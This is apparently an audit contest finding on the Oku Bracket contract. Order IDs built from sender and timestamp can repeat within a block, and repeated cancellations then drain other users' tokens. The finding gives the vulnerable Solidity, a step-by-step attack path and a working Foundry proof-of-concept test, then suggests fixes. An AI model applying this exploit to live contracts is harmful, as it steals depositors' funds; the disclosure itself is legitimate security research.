Upbeat Lead Kestrel

High

# Attacker can drain funds by duplicating an order

### Summary

The missing of existence check when creating orders can cause the contract funds to be drained

### Root Cause

- In [function `Bracket::_createOrder()`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L444-L499), there is an id is generated for the order `existingOrderId = MASTER.generateOrderId(msg.sender)` which is basically [`keccak256(abi.encodePacked(sender, block.timestamp))`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/AutomationMaster.sol#L90-L95). The mapping storage `orders[existingOrderId]` is updated and the order id added to the pending orders list `pendingOrderIds.push(existingOrderId)`
```solidity
    function _createOrder(
        uint256 takeProfit,
        uint256 stopPrice,
        uint256 amountIn,
        uint96 existingOrderId,
        IERC20 tokenIn,
        IERC20 tokenOut,
        address recipient,
        uint16 feeBips,
        uint16 takeProfitSlippage,
        uint16 stopSlippage
    ) internal {
        //verify both oracles exist, as we need both to calc the exchange rate
        require(
            address(MASTER.oracles(tokenIn)) != address(0x0) &&
                address(MASTER.oracles(tokenIn)) != address(0x0),
            "Oracle !exist"
        );
        require(
            pendingOrderIds.length < MASTER.maxPendingOrders(),
            "Max Order Count Reached"
        );
        require(
            stopSlippage <= 10000 &&
                takeProfitSlippage <= 10000 &&
                feeBips <= 10000,
            "BIPS > 10k"
        );

        MASTER.checkMinOrderSize(tokenIn, amountIn);

        //generate random but unique order id if there is not an existing orderId from a stop limit order
        if (existingOrderId == 0) {
            existingOrderId = MASTER.generateOrderId(msg.sender);
        }

        //construct order
        orders[existingOrderId] = Order({
            orderId: existingOrderId,
            takeProfit: takeProfit,
            stopPrice: stopPrice,
            amountIn: amountIn,
            tokenIn: tokenIn,
            tokenOut: tokenOut,
            recipient: recipient,
            takeProfitSlippage: takeProfitSlippage,
            feeBips: feeBips,
            stopSlippage: stopSlippage,
            direction: MASTER.getExchangeRate(tokenIn, tokenOut) > takeProfit //exchangeRate in/out > takeProfit
        });

        //store pending order
        pendingOrderIds.push(existingOrderId);

        emit OrderCreated(existingOrderId);
    }
```
Indeed, there is no check if the order with id `existingOrderId` is already existed or not. So, it is possible to call `Bracket::createOrder()` many times in 1 block, resulting duplicated ids in the pending orders list `pendingOrderIds`, but with only 1 entry of `orders[existingOrderId]` (the latest order overrides the previous ones)

- The [function `Bracket::cancelOrder()`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L309-L313) allows the order owner cancel the order and the token are refunded. The internal function `_cancelOrder()` loops through pending order list to find the specified order to find the order. If found, the token is refunded to order owner and that order id is removed from the pending orders list `pendingOrderIds`.
```solidity
    function _cancelOrder(Order memory order) internal returns (bool) {
        for (uint96 i = 0; i < pendingOrderIds.length; i++) {
            if (pendingOrderIds[i] == order.orderId) {
                //remove from pending array
                pendingOrderIds = ArrayMutation.removeFromArray(
                    i,
                    pendingOrderIds
                );

                //refund tokenIn amountIn to recipient
                order.tokenIn.safeTransfer(order.recipient, order.amountIn);

                //emit event
                emit OrderCancelled(order.orderId);

                return true;
            }
        }
        return false;
    }
```
Combined with the first point above, the order owner can call cancel order many times, resulting many refunds happen.

Note that the same issue happens with contract `StopLimit` and `OracleLess`.

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. At block `n`, an attacker calls `Bracket::createOrder()` with amount in = 0.1 ether (for the simplicity let ignore the other parameters) and transaction succeeds. Let's say the order has id `ORDER_ID`
2. At the same block `n`, after the above transaction, the attacker calls `Bracket::createOrder()` with amount in = 10 ether and transaction succeeds. After this transaction, the attacker's pending order has `amoutIn = 10 ether`
3. The attacker calls `Bracket::cancelOrder(ORDER_ID)` and gets refunded 10 ether
4. Again, the attacker calls `Bracket::cancelOrder(ORDER_ID)` and gets refunded 10 ether
5. At this point, the attacker drains `9.9 ether` from contract, in which the funds are from other orders

### Impact

- Funds from orders are drained

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Bracket, IERC20, IBracket} from "contracts/automatedTrigger/Bracket.sol";
import {AutomationMaster, IPythRelay, IAutomation} from "contracts/automatedTrigger/AutomationMaster.sol";
import "contracts/interfaces/uniswapV3/IPermit2.sol";
import {MockERC20} from "forge-std/mocks/MockERC20.sol";

contract MockToken is MockERC20 {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract MyTest is Test {
    Bracket bracket;
    AutomationMaster master;
    address permit2;

    IERC20 usdc;
    IERC20 weth;

    address usdcOracle;
    address wethOracle;

    IERC20[] tokens;
    IPythRelay[] oracles;

    uint96 currentOrderId;

    address alice;

    function setUp() public {
        permit2 = makeAddr("permit2");
        usdcOracle = makeAddr("usdcOracle");
        wethOracle = makeAddr("wethOracle");
        alice = makeAddr("alice");

        master = new AutomationMaster();
        bracket = new Bracket(master, IPermit2(permit2));

        MockToken _usdc = new MockToken();
        _usdc.initialize("usdc", "usdc", 8);
        _usdc.mint(address(this), 1000000e8);
        _usdc.mint(alice, 1000000e8);
        _usdc.approve(address(bracket), 1000000e8);
        vm.prank(alice);
        _usdc.approve(address(bracket), 1000000e8);

        usdc = IERC20(address(_usdc));

        MockToken _weth = new MockToken();
        _weth.initialize("weth", "WETH", 18);
        _weth.mint(address(this), 1e6 ether);
        _weth.mint(alice, 1e6 ether);
        _weth.approve(address(bracket), 1e6 ether);
        vm.prank(alice);
        _weth.approve(address(bracket), 1e6 ether);

        weth = IERC20(address(_weth));

        vm.label(address(usdc), "USDC");
        vm.label(address(weth), "WETH");

        tokens.push(usdc);
        tokens.push(weth);

        oracles.push(IPythRelay(usdcOracle));
        oracles.push(IPythRelay(wethOracle));

        master.registerOracle(tokens, oracles);
        master.setMaxPendingOrders(100);

        vm.mockCall(usdcOracle, abi.encodeWithSignature("currentValue()"), abi.encode(1e8));
        _updateETHPrice(4000);
    }

    function _updateETHPrice(uint256 price) internal {
        vm.mockCall(wethOracle, abi.encodeWithSignature("currentValue()"), abi.encode(price * 1e8));
    }

    function test_DuplicatedOrderId() public {
      // @audit POC Duplicated order id
        uint96 orderId = master.generateOrderId(address(this));

        // 1. attacker create first order
        bracket.createOrder({
            swapPayload: new bytes(0),
            takeProfit: type(uint128).max,
            stopPrice: 0,
            amountIn: 0.001 ether,
            tokenIn: weth,
            tokenOut: usdc,
            recipient: address(this),
            feeBips: 0,
            takeProfitSlippage: 0,
            stopSlippage: 0,
            permit: false,
            permitPayload: new bytes(0)
        });

        // 2. attacker create second order in the same block
        bracket.createOrder({
            swapPayload: new bytes(0),
            takeProfit: type(uint128).max,
            stopPrice: 0,
            amountIn: 1 ether,
            tokenIn: weth,
            tokenOut: usdc,
            recipient: address(this),
            feeBips: 0,
            takeProfitSlippage: 0,
            stopSlippage: 0,
            permit: false,
            permitPayload: new bytes(0)
        });

        // Assume that there are funds in the contract
        weth.transfer(address(bracket), 1 ether);

        uint256 bracketBalanceBefore = weth.balanceOf(address(bracket));

        bracket.cancelOrder(orderId);
        bracket.cancelOrder(orderId);

        uint256 bracketBalanceAfter = weth.balanceOf(address(bracket));

        // contract pays 2 ether, which is higher than attacker's order amount -> funds drained
        assertEq(bracketBalanceBefore, bracketBalanceAfter + 2 ether);
    }
}
```

Prepare a foundry test like above
Run the test `test_DuplicatedOrderId` and the test succeeded.

### Mitigation

Consider approaches:
1/ Check if order existed
2/ Update the order id generation logic in order to allow users to create many orders in 1 block